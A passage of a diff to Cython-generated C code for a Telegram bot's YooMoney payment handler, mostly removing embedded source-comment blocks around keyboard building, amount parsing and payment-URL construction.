*__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yoomoney_pay.py":62 - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -4438,44 +4252,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yoomoney_pay.py":56 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ goto __pyx_L8; } - /* "handlers/payments/yoomoney_pay.py":68 - * ) - * else: - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ /*else*/ { __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yoomoney_pay.py":69 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - /* "handlers/payments/yoomoney_pay.py":70 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ) - */ __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) @@ -4489,13 +4275,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":71 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ) - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) @@ -4513,13 +4292,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":69 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -4551,55 +4323,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __pyx_L8:; - /* "handlers/payments/yoomoney_pay.py":55 - * builder = InlineKeyboardBuilder() - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":74 - * ) - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=" ", - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - /* "handlers/payments/yoomoney_pay.py":75 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", - * callback_data="enter_custom_amount_yoomoney", - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yoomoney_pay.py":76 - * builder.row( - * InlineKeyboardButton( - * text=" ", # <<<<<<<<<<<<<< - * callback_data="enter_custom_amount_yoomoney", - * ) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 76, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yoomoney) < 0) __PYX_ERR(0, 76, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":75 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", - * callback_data="enter_custom_amount_yoomoney", - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4629,13 +4366,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":80 - * ) - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< - * - * key_count = await get_key_count(tg_id) - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) @@ -4673,13 +4403,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":82 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * - * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< - * - * if key_count == 0: - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; @@ -4726,23 +4449,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":84 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) if (__pyx_t_2) { - /* "handlers/payments/yoomoney_pay.py":85 - * - * if key_count == 0: - * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; @@ -4789,24 +4498,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":86 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - /* "handlers/payments/yoomoney_pay.py":87 - * exists = await check_connection_exists(tg_id) - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) @@ -4844,55 +4539,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } } - /* "handlers/payments/yoomoney_pay.py":86 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ } - /* "handlers/payments/yoomoney_pay.py":84 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ } - /* "handlers/payments/yoomoney_pay.py":89 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", - * reply_markup=builder.as_markup(), - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":90 - * - * await callback_query.message.answer( - * text=" :", # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__5) < 0) __PYX_ERR(0, 90, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":91 - * await callback_query.message.answer( - * text=" :", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = NULL; @@ -4920,13 +4580,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yoomoney_pay.py":89 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", - * reply_markup=builder.as_markup(), - */ __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4951,13 +4604,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } } - /* "handlers/payments/yoomoney_pay.py":94 - * ) - * - * await state.set_state(ReplenishBalanceState.choosing_amount_yoomoney) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) @@ -5009,13 +4655,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yoomoney_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< - * async def process_callback_pay_yoomoney( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -5044,13 +4683,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yoomoney_pay.py":98 - * - * - * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection(PyObject *__pyx_self, @@ -5237,13 +4869,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 98, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":102 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) @@ -5256,57 +4881,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":104 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 104, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - /* "handlers/payments/yoomoney_pay.py":105 - * - * if len(data) != 2: - * return # <<<<<<<<<<<<<< - * - * amount_str = data[1] - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/yoomoney_pay.py":104 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * return - * - */ } - /* "handlers/payments/yoomoney_pay.py":107 - * return - * - * amount_str = data[1] # <<<<<<<<<<<<<< - * try: - * amount = int(amount_str) - */ __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":108 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ { __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); __Pyx_XGOTREF(__pyx_t_5); @@ -5314,26 +4904,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - /* "handlers/payments/yoomoney_pay.py":109 - * amount_str = data[1] - * try: - * amount = int(amount_str) # <<<<<<<<<<<<<< - * except ValueError: - * return - */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":108 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ } __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5343,13 +4919,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":110 - * try: - * amount = int(amount_str) - * except ValueError: # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -5358,13 +4927,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_9); - /* "handlers/payments/yoomoney_pay.py":111 - * amount = int(amount_str) - * except ValueError: - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5374,13 +4936,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } goto __pyx_L7_except_error; - /* "handlers/payments/yoomoney_pay.py":108 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ __pyx_L7_except_error:; __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); @@ -5396,13 +4951,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_L10_try_end:; } - /* "handlers/payments/yoomoney_pay.py":113 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) @@ -5432,23 +4980,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } } - /* "handlers/payments/yoomoney_pay.py":114 - * - * await state.update_data(amount=amount) - * await state.set_state( # <<<<<<<<<<<<<< - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - * ) - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - /* "handlers/payments/yoomoney_pay.py":115 - * await state.update_data(amount=amount) - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< - * ) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 115, __pyx_L1_error) @@ -5497,13 +5031,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C } } - /* "handlers/payments/yoomoney_pay.py":118 - * ) - * - * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * account_id = YOOMONEY_ID - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) @@ -5516,26 +5043,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":119 - * - * customer_id = callback_query.message.chat.id - * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":120 - * customer_id = callback_query.message.chat.id - * account_id = YOOMONEY_ID - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< - * - * confirm_keyboard = InlineKeyboardMarkup( - */ __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = 0; @@ -5581,33 +5094,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":122 - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - /* "handlers/payments/yoomoney_pay.py":123 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/yoomoney_pay.py":124 - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=" ", callback_data="pay")], - * ] - */ __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 124, __pyx_L1_error) @@ -5624,13 +5116,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_13)) __PYX_ERR(0, 124, __pyx_L1_error); __pyx_t_13 = 0; - /* "handlers/payments/yoomoney_pay.py":125 - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< - * ] - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 125, __pyx_L1_error) @@ -5647,13 +5132,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_14)) __PYX_ERR(0, 125, __pyx_L1_error); __pyx_t_14 = 0; - /* "handlers/payments/yoomoney_pay.py":123 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], - */ __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_9); @@ -5665,13 +5143,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yoomoney_pay.py":122 - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - */ __pyx_t_14 = 